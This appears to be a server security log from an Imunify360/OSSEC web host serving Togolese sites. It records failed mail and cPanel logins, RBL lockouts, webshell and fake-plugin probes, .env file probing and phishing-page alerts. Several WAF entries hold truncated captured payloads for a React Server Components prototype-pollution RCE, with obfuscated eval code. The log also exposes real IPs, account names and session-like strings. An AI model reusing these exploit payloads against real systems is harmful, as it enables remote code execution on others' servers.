Jun 15 01:43:17 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.8.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.8.214
country_id: 3469034
description:
Jun 15 01:43:25 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.8.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.147.186
country_id: 690791
description:
Jun 15 01:49:41 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.147.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.30.11.253
country_id: 6252001
description:
Jun 15 01:50:07 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.30.11.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-06-15 01:50:09 dovecot_plain authenticator failed for H=(unthra) [23.30.11.253]:48792: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-06-15 01:50:27 dovecot_login authenticator failed for H=([192.111.135.19]) [125.130.102.172]:60956: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-06-15 01:50:46 dovecot_login authenticator failed for H=([14.33.96.3]) [197.219.228.242]:45804: 535 Incorrect authentication data (set_id=elogdoyoih)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.130.102.172
country_id: 1835841
description:
Jun 15 01:50:25 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.130.102.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.251.31.26
country_id: 1269750
description:
Jun 15 01:53:49 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.251.31.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.31.26
country_id: 1269750
description:
2026-06-15 01:53:51 dovecot_login authenticator failed for H=([210.104.223.133]) [103.251.31.26]:42514: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 69.126.144.30
country_id: 6252001
description:
Jun 15 01:54:02 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 69.126.144.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.24.141.147
country_id: 1814991
description:
Jun 15 01:54:03 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.24.141.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.147
country_id: 1814991
description:
2026-06-15 01:54:05 dovecot_login authenticator failed for H=(s0106c4509cd21c7e.vf.shawcable.net) [27.24.141.147]:33548: 535 Incorrect authentication data (set_id=dasha9198)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.71.9.31
country_id: 1835841
description:
Jun 15 01:54:42 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.71.9.31 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.109.66
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:163.198.109.66||TA:163.198.109.66||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.120.176.6
country_id: 1835841
description:
Jun 15 01:54:56 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.120.176.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-06-15 01:54:44 dovecot_login authenticator failed for H=(static-75.19.195.14-tataidc.co.in) [180.71.9.31]:57354: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.120.176.6
country_id: 1835841
description:
Jun 15 01:56:04 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.120.176.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.217.255.171
country_id: 6252001
description:
Jun 15 01:56:06 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.217.255.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-06-15 01:56:06 dovecot_login authenticator failed for H=(167.43.246.220.static.netvigator.com) [222.120.176.6]:56266: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.143.235.118
country_id: 1835841
description:
Jun 15 01:55:21 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.143.235.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77705892
name: IM360 WAF: Tracking new fake-admin WordPress username candidate (WPT-2545 baseline)
abuser: 134.122.60.18
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: Tracking new fake-admin WordPress username candidate (WPT-2545 baseline)||MV:admlnlx||MVN:ARGS:log||WPU:admlnlx||User:tgmisefred||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.39.128.170
country_id: 1814991
description:
Jun 15 01:57:14 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.39.128.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.17.108.39
country_id: 6290252
description:
Jun 15 01:56:19 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.17.108.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.39.128.170
country_id: 1814991
description:
2026-06-15 01:57:16 dovecot_login authenticator failed for H=([125.19.175.124]) [27.39.128.170]:34510: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.86.176.134
country_id: 1835841
description:
Jun 15 01:58:01 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.86.176.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-06-15 01:58:03 dovecot_login authenticator failed for H=(netcomafrica.com) [220.86.176.134]:52139: 535 Incorrect authentication data (set_id=j_essoh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.155.116.155
country_id: 6252001
description:
Jun 15 01:57:42 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.155.116.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 4.227.232.143
country_id: 6252001
domain: www.cameg-togo.tg
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.235.152
country_id: 1835841
description:
Jun 15 02:00:20 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.235.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-06-15 02:00:22 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:45810: 535 Incorrect authentication data (set_id=office@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.92.61.242
country_id: 1814991
description:
Jun 15 02:01:59 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.92.61.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.186.216.77
country_id: 1210997
domain: belali.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/belali.tg/inscription-2020-2021/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.186.216.77
country_id: 1210997
domain: belali.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/belali.tghttp/belali.tg/inscription-2020-2021/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.90.235
country_id: 1668284
description:
Jun 15 02:02:56 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.90.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.93.167.144
country_id: 1835841
description:
Jun 15 02:03:16 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.93.167.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.223.36.108
country_id: 3932488
description:
Jun 15 02:02:36 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.223.36.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.93.167.144
country_id: 1835841
description:
Jun 15 02:03:26 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.93.167.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.199
country_id: 3469034
description:
Jun 15 02:03:49 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.209.30
country_id: 1269750
description:
Jun 15 02:05:52 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.209.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-06-15 02:05:54 dovecot_login authenticator failed for H=([220.180.185.18]) [128.185.209.30]:56346: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.188.97.87
country_id: 357994
description:
[2026-06-15 02:06:20 +0000] info [webmaild] 102.188.97.87 - ag@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.111.170
country_id: 1269750
description:
Jun 15 02:06:49 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.111.170 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.111.170
country_id: 1269750
description:
2026-06-15 02:06:51 dovecot_login authenticator failed for H=([184.181.217.198]) [182.95.111.170]:53838: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.208.177.56
country_id: 6252001
description:
Jun 15 02:08:52 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.208.177.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.208.177.56
country_id: 6252001
description:
2026-06-15 02:08:54 dovecot_login authenticator failed for H=([125.19.196.207]) [74.208.177.56]:37476: 535 Incorrect authentication data (set_id=felix.barigao@arse.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.198.78.213
country_id: 6252001
description:
[2026-06-15 02:08:38 +0000] info [cpaneld] 143.198.78.213 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:02:12:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6840933&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781489550 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.182.5
country_id: 2921044
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-12.209.50.182.5||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.85.201.22
country_id: 1835841
description:
Jun 15 02:14:05 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.85.201.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.85.201.22
country_id: 1835841
description:
2026-06-15 02:14:07 dovecot_login authenticator failed for H=([70.166.167.33]) [61.85.201.22]:34024: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.32.68.66
country_id: 1835841
description:
2026-06-15 02:14:28 dovecot_login authenticator failed for H=([180.76.104.208]) [61.32.68.66]:19072: 535 Incorrect authentication data (set_id=dasha9198)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.office.cameg-togo.tg
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"$b5a077b0\":null,\"_response\":{\"_prefix\":\"var qa=[].slice.call(arguments,1)[0];var tfgov=qa;try{var _v=((0,eval)(global[[\\\"B\\\",\\\"u\\\",\\\"ffe\\\",\\\"r\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.32.68.66
country_id: 1835841
description:
Jun 15 02:14:26 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.32.68.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.37.13.66
country_id: 1814991
description:
2026-06-15 02:15:53 dovecot_login authenticator failed for H=(120.245.223.60.adsl-pool.sx.cn) [59.37.13.66]:60909: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.207
country_id: 6252001
description:
[2026-06-15 02:15:21 +0000] info [cpaneld] 134.195.83.207 NEW ifxmoxbf:T4O3Btuw7jEE9S9K address=134.195.83.207,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.185
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.070295292650205.php||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.217
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.119338923146941.php||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.89
country_id: 2635167
description:
[2026-06-15 02:15:23 +0000] info [cpaneld] 5.230.133.89 NEW ifxmoxbf:u6oablQz4OoQT9Mq address=5.230.133.89,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.37.13.66
country_id: 1814991
description:
Jun 15 02:15:51 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.37.13.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.156.93.203
country_id: 1835841
description:
Jun 15 02:17:14 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.156.93.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-06-15 02:17:16 dovecot_login authenticator failed for H=([128.185.253.98]) [218.156.93.203]:57892: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 4.227.232.143
country_id: 6252001
domain: www.careful-charcoal-chimpanzee.confortis.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 4.227.232.143
country_id: 6252001
domain: www.careful-charcoal-chimpanzee.confortis.tg
description:


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: v2.cfpj.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"__b339dbd4\":\"ready\",\"__c1cb0f0b\":\"2ca5\",\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"$58e1358e\":\"3d48\",\"__ae02f488\":null,\"_response\":{\"_prefix\":\"var rzngi=arguments['\\\\x31'];var ckxd=rzngi;try{var _v=((0,eval)(global[[\\\"Buf\\\",\\\"f\\\",\\\"e\\\",\\\"r\\\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.244.132.244
country_id: 1643084
description:
180.244.132.244 - - [15/Jun/2026:02:20:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12819819&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-inseed-recrute-194-postes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781490017 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-inseed-recrute-194-postes/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.5741.1583 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.244.132.244


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-06-15 02:21:25 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:57500: 535 Incorrect authentication data (set_id=office@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.251.143.14
country_id: 1269750
description:
Jun 15 02:21:23 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.251.143.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 15 02:22:55 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.179.93.147
country_id: 1835841
description:
Jun 15 02:25:18 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.179.93.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.199.178.158
country_id: 1880251
description:
Jun 15 02:24:46 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.199.178.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.200.100.215
country_id: 1861060
domain: www.api.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:apicafe||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.199.178.158
country_id: 1880251
description:
2026-06-15 02:24:48 dovecot_login authenticator failed for H=(90-230-115-5-no2550.tbcn.telia.com) [112.199.178.158]:48869: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.200.100.215
country_id: 1861060
domain: www.api.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/src/.env.backup||User:apicafe||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 165.210.39.48
country_id: 2233387
description:
2026-06-15 02:25:23 H=([165.210.39.48]) [165.210.39.48]:20923 F=<John@4452.com> rejected RCPT <sergde@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 99.45.235.100
country_id: 6252001
description:
[2026-06-15 02:26:04 +0000] info [webmaild] 99.45.235.100 - sergdev@dgdn-togo.tg "POST / HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.220.3.101
country_id: 226074
description:
Jun 15 02:26:15 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.220.3.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.179.93.147
country_id: 1835841
description:
Jun 15 02:25:27 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.179.93.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-06-15 02:26:17 dovecot_login authenticator failed for H=([218.156.8.97]) [41.220.3.101]:6891: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 165.210.39.48
country_id: 2233387
description:
2026-06-15 02:26:44 H=([165.210.39.48]) [165.210.39.48]:20924 F=<John@4452.com> rejected RCPT <sergde@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.12.26.240
country_id: 3017382
description:
[2026-06-15 02:26:48 +0000] info [cpaneld] 2.12.26.240 - kwbcfbmo "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.4.31.215
country_id: 2661886
description:
Jun 15 02:26:24 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.4.31.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-06-15 02:26:26 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se ([174.75.211.196]) [155.4.31.215]:53158: 535 Incorrect authentication data (set_id=wages)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.252.51.233
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/dr-christian-mouala-nomme-directeur-pays-de-lonusida-au-togo/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.96
country_id: 1269750
domain: certlogisticstogo.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.16||T:APACHE||MV:/images/autoload_classmap.php||SC:/home/uzomgvkg/public_html/images||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.190.132.132
country_id: 3469034
description:
45.190.132.132 - - [15/Jun/2026:02:27:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6528669&pdata=https%253A%252F%252Fmacite.tg%252Fcategory%252Fsante%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781490476 HTTP/2.0" 302 0 macite.tg "https://macite.tg/category/sante/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.9378.1132 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.190.132.132


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.252.51.233
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/dr-christian-mouala-nomme-directeur-pays-de-lonusida-au-togo/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.96
country_id: 1269750
domain: certlogisticstogo.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/dedi1.php||WPU:||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 45.137.126.96
country_id: 1269750
domain: certlogisticstogo.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/uzomgvkg/public_html/wp-includes/SimplePie/XML||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.66.4.19
country_id: 2542007
description:
2026-06-15 02:28:11 dovecot_plain authenticator failed for H=([192.168.217.1]) [105.66.4.19]:22060: 535 Incorrect authentication data (set_id=esso@ns5.netmaster.tg)


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 45.137.126.96
country_id: 1269750
domain: certlogisticstogo.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.16||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 45.137.126.96
country_id: 1269750
domain: certlogisticstogo.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/include.php||WPU:||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.70.216.69
country_id: 3469034
description:
45.70.216.69 - - [15/Jun/2026:02:28:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973593&pdata=https%253A%252F%252Fmacite.tg%252Fcategory%252Fsports%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781490512 HTTP/2.0" 302 0 macite.tg "https://macite.tg/category/sports/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.5827.1439 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.70.216.69


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 45.137.126.96
country_id: 1269750
domain: certlogisticstogo.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/uzomgvkg/public_html/wp-includes/SimplePie/info.php||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 45.137.126.96
country_id: 1269750
domain: certlogisticstogo.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.16||T:APACHE||MV:/assets/images/cloud.php||SC:/home/uzomgvkg/public_html/assets||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.129.206.42
country_id: 3469034
description:
Jun 15 02:29:02 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.129.206.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.66.4.19
country_id: 2542007
description:
